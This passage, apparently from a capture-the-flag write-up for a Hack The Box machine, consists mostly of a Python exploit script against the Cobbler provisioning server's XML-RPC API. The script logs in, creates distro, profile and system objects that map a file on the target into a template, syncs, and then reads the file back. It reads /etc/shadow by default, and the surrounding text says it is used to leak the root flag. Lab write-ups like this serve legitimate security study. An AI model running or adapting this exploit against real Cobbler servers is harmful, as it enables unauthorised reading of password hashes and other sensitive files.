- http://127.0.0.1:25151/
- http://127.0.0.1:25151/RPC2
- http://cobblestone.htb/cobbler_api
"""
u = base.rstrip('/')
if u.endswith('/RPC2'):
return [u]
if '/cobbler_api' in urlparse(u).path:
return [u]
return [u + '/RPC2', u + '/', u + '/cobbler_api']
def connect_any(base: str):
last_err = None
for url in _build_urls(base):
try:
s = xmlrpc.client.ServerProxy(url, allow_none=True)
# liveness probe that doesn't need a token
s.get_distros()
return s, url
except Exception as e:
last_err = e
raise RuntimeError(f"no working XML-RPC endpoint found for {base}: {last_err}")
def run_exfil(cfg: CobblerConfig):
client = CobblerClient(cfg)
print(f"[+] XML-RPC endpoint: {client.endpoint}")
print("[*] Logging in Cobbler server …")
token = client.login()
print("[+] Token:", token)
names = build_names(cfg.prefix)
print(f"[*] Creating distro: {names.distro}")
client.create_distro(names.distro)
print("[+] Distro created.")
print(f"[*] Creating profile: {names.profile} -> {names.distro}")
client.create_profile(names.profile, names.distro)
print("[+] Profile created.")
print(f"[*] Creating system: {names.system} -> {names.profile}")
print(f" Mapping: {cfg.src} -> {cfg.dest}")
client.create_system(names.system, names.profile, cfg.src, cfg.dest)
print("[+] System created.")
print("[*] Syncing…")
client.sync()
print("[+] Sync OK.")
print("[*] Exfiltrating…")
data = client.get_template(names.system, cfg.dest)
print(f"[+] Exfiltrated bytes: {len(data)}")
print(data, end="")
def parse_args() -> CobblerConfig:
ap = argparse.ArgumentParser()
ap.add_argument("-t", "--target", required=True,
help="Target base URL (e.g., http://127.0.0.1:25151)")
ap.add_argument("-s", "--src", default="/etc/shadow",
help="Real file path on target to read")
ap.add_argument("--kernel", default="/vmlinuz",
help="Kernel path for distro")
ap.add_argument("--initrd", default="/initrd.img",
help="Initrd path for distro")
ap.add_argument("--breed", default="",
help="Optional breed (e.g., debian or redhat)")
ap.add_argument("--prefix", default="pwn",
help="Name prefix for created Cobbler objects")
a = ap.parse_args()
return CobblerConfig(
url = a.target,
kernel= a.kernel,
initrd= a.initrd,
src = a.src,
dest = "/whatever",
breed = a.breed,
prefix= a.prefix
)
def main():
try:
cfg = parse_args()
run_exfil(cfg)
except Exception as e:
print("[-] Error:", e)
sys.exit(1)
if __name__ == "__main__":
main()Root Leak
Now we can leak the root flag with our exploit script:

We set the script to leak /etc/shadow by default:

Comments | NOTHING